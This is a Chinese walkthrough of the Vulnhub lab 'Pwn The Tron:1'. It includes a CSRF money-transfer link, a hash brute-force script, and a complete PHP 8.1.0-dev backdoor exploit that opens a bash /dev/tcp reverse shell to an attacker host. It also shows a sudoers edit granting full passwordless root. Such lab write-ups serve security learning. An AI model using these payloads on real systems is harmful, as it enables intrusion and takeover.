• 英文名称:Pwn The Tron:1
  • 中文名称:Pwn The Tron:1
  • 发布日期:2021 年 7 月 2 日
  • 难度:容易
  • 描述:类型:线性CTF
  • 下载地址https://www.vulnhub.com/entry/pwn-the-tron-1,721/

1、主机发现

主机发现

2、端口扫描

端口扫描

3、目录发现

目录发现

4、访问页面

访问页面

5、访问图片,其中图3、图4可能隐藏信息,但是暴力破解不了密码

毁灭的故事
塞伯坦曾经是独特的自主机器人 Onganism 的所在地。
自从汽车人和霸天虎对塞伯坦的反对以来,已经有数千年的时间了。
它摧毁了地球,使它变得荒凉和死亡。

访问图片1
他们对蓝色星球赞叹不已,继续在宇宙中战斗。
擎天柱,汽车人的领袖,承诺保护人类免受麦加农的邪恶愤怒。
虽然在麻木上有所减弱,但汽车人还是将那些站在毁灭和生活之间的无名之徒安然无恙。

访问图片2
通过 Project iacon,威震天发现了大约 4 个 Omega Keys。
如果在塞伯坦的Omega Lock内使用这些,地球就可以复活。
此外,Omega Lock可以用来改造地球,从而消灭人类......!

访问图片3
你是杰克。 协助汽车人阻止威震天获得所有 4 把钥匙。 你准备好执行任务了吗?!前往秘密汽车人基地!

访问图片4

6、访问Travel ,F12查看源代码,需要计算坐标

擎天柱能够找到它们似乎在同一个地方的 2 个密钥的加密坐标。
你(杰克)与大黄蜂和 Arcee 一起被派去获取密钥,然后 Soundwave 能够解密它们!你能找到霸天虎基地来获取 iacon_codes 吗?
(霸天虎出于安全考虑可能会删除 iacon 代码,想办法)坐标的加密消息:daab260727e470e56e77ec22e8f3d413
解密消息的格式:
/iacon_code/国家首都/{纬度_dd.dd-经度_dd.dd}.txt
其中,d是数字0-9/iacon_code/(capital of a country)/{Latitude_dd.dd-Longitude_dd.dd}.txt<!-- The Encrypted Message: daab260727e470e56e77ec22e8f3d413 -->
<!-- @decepticon-base 霸天虎基地 -->

F12 查看源代码

7、寻找霸天虎的基地

sherlock deception-basehttps://github.com/decepticon-base/Projects

sherlock 寻找霸天虎的基地
github 基地文件被删了

8、通过 Wayback Machine 查询到github的过去文档,成功恢复 iacon_codes

https://web.archive.org/web/20210701042239/https://github.com/decepticon-base/Projects/blob/main/iacon/iacon_codes

成功恢复 iacon_codes

9、进行coding,暴力破解哈希值

# -*- coding: utf-8 -*-
# @Time    : 2022/8/30 9:38 PM
# @Author  : ailx10
# @File    : code.pyimport hashlibf1 = open("iacon_codes","r")
f2 = open("capital","r")codes = f1.readlines()
capitals = f2.readlines()for code in codes:code = code.strip()for capital in capitals:capital = capital.strip()for i in range(10,100):for j in range(10,100):str_1 = "/{}/{}/Latitude_{}.{}-Longitude_{}.{}.txt".format(code,capital,i,j,i,j)str_2 = hashlib.md5(str_1.encode())if str_2.hexdigest() == "daab260727e470e56e77ec22e8f3d413":print(str_1)

破解哈希

10、访问页面,拿到 flag1

/R3LIC-1337/Tokyo/Latitude_95.37-Longitude_95.37.txt恭喜通过第一阶段!您的勇气让我们获得了 4 把钥匙中的 2 把!这是您的第一个标志:Flag1{873b375210b4297e9bdea1ed183c2da5}不过坏消息:/威震天有两把钥匙可供使用。Prime 和 Bumblebee 从叛徒和威震天的前指挥官红蜘蛛那里得到了有关他隐藏在淘汰赛商店最昂贵物品中的秘密物品的信息。
该项目具有管理员凭据。商店链接:/W4RSHIP_Sh0P.php祝你好运!

访问页面,拿到 flag1

11、访问页面,我们需要获得Energon 币,购买秘密资料

淘汰赛正在努力完成公式!这可能会改变游戏规则。
红蜘蛛指挥官又出轨了。他被禁止进入这个区域。
除非得到威震天勋爵的命令,否则不要进入存放暗能量的区域。关于
霸天虎杂货店这是你自己的杂货店。 购买energon,预约医生,继续看公告板!
目前,只有管理员可以在账户之间转移 Energon 币。 很快,这将提供给所有人! 以下是您可以购买的顶级商品。威震天的得力助手。 有钱,兼职叛徒,狡猾而古怪。
只关心他自己和他的画。 不幸的是,他是这里的管理员。
根本不会说话。 太聪明了,不会被欺骗,永远忠于威震天。
我们的管理员会点击任何以 http 或 https 开头的链接,以防您想分享一些甜蜜信息的链接!

访问页面
检查源代码:发现管理员用户名 admin_boss、lord_starscream、soundwave

12、注册网站,并登录,发现我们没有钱

注册网站
登录
将硬币转移给有需要的朋友?
可用余额:0
回到商店
退出您的帐户

因为我们没有钱,转账不了
因为没有权力,admin_boss 也不给我们转账

13、可以采用CSRF策略,让管理员帮我们转账

我们的管理员会点击任何以 http 或 https 开头的链接,以防您想分享一些甜蜜信息的链接!留言内容如下:
admin_boss
http://192.168.199.210/W4RSHIP_Sh0P_transfer.php?to=ailx10&amount=9999&from=lord_starscream

留言内容
喜提巨款

14、购买秘密资料

由于谷歌js访问不了,我们无法在页面上提交购买请求,咱们直接写一个POST请求,得到秘密

Purchase Successful!Megatron Login Panel URL: /M3G4TR0N_SUPR3M3/login.php
Username = L0RD_M3G4Tr0N
Password = freakishlylongpasswordforl0gin

POST请求代码如下:

# -*- coding: utf-8 -*-
# @Time    : 2022/8/30 11:19 PM
# @Author  : ailx10
# @File    : post.pyimport requestsurl = "http://192.168.199.210/W4RSHIP_Sh0P_buy.php"
data= { "itemid": 2, "price": 9999.00 }
cookies = {"PHPSESSID":"kl90bbdk93qni24gpld6pnc3ls"}
r = requests.post(url=url,data=data,cookies=cookies)print(r.text)

15、登录页面,获得 flag2

登录页面
获得 flag2

16、检索PHP 8.1.0-dev 漏洞

检索PHP 8.1.0-dev 漏洞

17、增加cookie,尝试反弹shell

尝试反弹shell
反弹成功

反弹shell的代码:

# Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
#     - https://hub.docker.com/r/phpdaily/php
#     - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# CVE : N/A
# References:
#     - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#     - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com
An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
Usage:
  python3 revshell_php_8.1.0-dev.py <target-ip> <attacker-ip> <attacker-port>
"""#!/usr/bin/env python3
import os, sys, argparse, requestsrequest = requests.Session()def check_target(args):cookies = {"PHPSESSID":"kl90bbdk93qni24gpld6pnc3ls"}response = request.get(args.url,cookies=cookies)for header in response.headers.items():if "PHP/8.1.0-dev" in header[1]:return Truereturn Falsedef reverse_shell(args):payload = 'bash -c \"bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\"'injection = request.get(args.url, headers={"User-Agentt": "zerodiumsystem('" + payload + "');"}, allow_redirects = False)def main(): parser = argparse.ArgumentParser(description="Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shell: nc -nlvp <attacker PORT>")parser.add_argument("url", metavar='<target URL>', help="Target URL")parser.add_argument("lhost", metavar='<attacker IP>', help="Attacker listening IP",)parser.add_argument("lport", metavar='<attacker PORT>', help="Attacker listening port")args = parser.parse_args()if check_target(args):reverse_shell(args)else:print("Host is not available or vulnerable, aborting...")exitif __name__ == "__main__":main()

18、找到了第三个flag,但是没有权限查看

找到了第三个flag,但是没有权限查看

19、检查 soundwave 获得私钥

获得私钥

20、复制私钥,尝试ssh登录

mv identity ssh_key.pem
chmod 600 ssh_key.pem
ssh -i ssh_key.pem soundwave@192.168.199.210

ssh免密登录成功

21、拿到第三个flag

拿到第三个flag

22、我们仅仅可以使用部分特权

/usr/bin/vim /var/Decepticon/*

部分特权

23、设置sudo无密码

#soundwave ALL= NOPASSWD: /usr/bin/vim  /var/Decepticon/*soundwave ALL=(ALL) NOPASSWD:ALL

设置sudo无密码

24、拿下最后一个flag

拿下最后一个flag

到此,实验完成~

vulnhub刷题记录(Pwn The Tron:1)相关推荐

  1. vulnhub刷题记录(The Planets: Earth)

    英文名称:The Planets: Earth 中文名称:行星:地球 发布日期:2021 年 11 月 2 日 难度:简单 描述:地球是一个简单的盒子,尽管您可能会发现它比本系列中的"水星& ...

  2. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

  3. LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)

    LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...

  4. LeetCode刷题记录14——257. Binary Tree Paths(easy)

    LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...

  5. LeetCode刷题记录13——705. Design HashSet(easy)

    LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...

  6. LeetCode刷题记录12——232. Implement Queue using Stacks(easy)

    LeetCode刷题记录12--232. Implement Queue using Stacks(easy) 目录 LeetCode刷题记录12--232. Implement Queue usin ...

  7. LeetCode刷题记录11——290. Word Pattern(easy)

    LeetCode刷题记录11--290. Word Pattern(easy) 目录 LeetCode刷题记录11--290. Word Pattern(easy) 题目 语言 思路 源码 后记 题目 ...

  8. LeetCode刷题记录10——434. Number of Segments in a String(easy)

    LeetCode刷题记录10--434. Number of Segments in a String(easy) 目录 LeetCode刷题记录9--434. Number of Segments ...

  9. LeetCode刷题记录9——58. Length of Last Word(easy)

    LeetCode刷题记录9--58. Length of Last Word(easy) 目录 LeetCode刷题记录9--58. Length of Last Word(easy) 题目 语言 思 ...

  10. LeetCode刷题记录8——605. Can Place Flowers(easy)

    LeetCode刷题记录8--605. Can Place Flowers(easy) 目录 LeetCode刷题记录8--605. Can Place Flowers(easy) 题目 语言 思路 ...

最新文章

  1. Linux内核编译过程分析
  2. android phone驱动_一文带你掌握 Android 系统架构
  3. 2.2 Logistic 回归-深度学习-Stanford吴恩达教授
  4. 『中级篇』Docker-Stack部署投票应用(50)
  5. springboot改文件头_SpringBoot图文教程4—SpringBoot 实现文件上传下载
  6. Python md5 sha1 的使用
  7. Adopt Open JDK官方文档(四)基于虚拟机的编译环境
  8. 【小结】背知识点的小技巧
  9. 15.UNIX 环境高级编程--进程间的通信
  10. 数据结构——C语言实现链表
  11. java word 添加图片_java – 在word文档中插入图片
  12. 桌面扫码点餐系统(小程序+Java后台)
  13. Excel查找一列中的相同值,删除该行或替换为空值
  14. 纯净简洁绿色的解压缩软件
  15. Unity 简单TCP通信实现
  16. GO 中 Chan 实现原理分享
  17. 为什么建模要尽量用四边面?如何将三边面转化成四边面?
  18. Android判断GPS是否开启和让用户打开GPS
  19. PHP统计总访问量和访客数
  20. STM32的USART串口通信小程序

热门文章

  1. Most of the disks failed
  2. 最新版本的mmdetection2.0 (v2.0.0版本)环境搭建、训练自己的数据集、测试以及常见错误集合
  3. Sun Dec 31 19:00:00 CST 1899格式的字符串转Date
  4. 计算机页面下没有桌面图标,电脑下面小图标没了怎么办
  5. css竖向箭头符号_如何使用CSS制作箭头符号
  6. Redis实战篇(四)
  7. Spring AOP 循环应用(This means that said other beans do not use the final version of the bean..)
  8. python硬件编程实践感悟_7年编程的心得感悟,这么是多么痛的领悟
  9. Doris export任务概率性cancelled
  10. python爬虫时爬虫爬数据时出现“访问本页面,请开启JavaScript并刷新该页”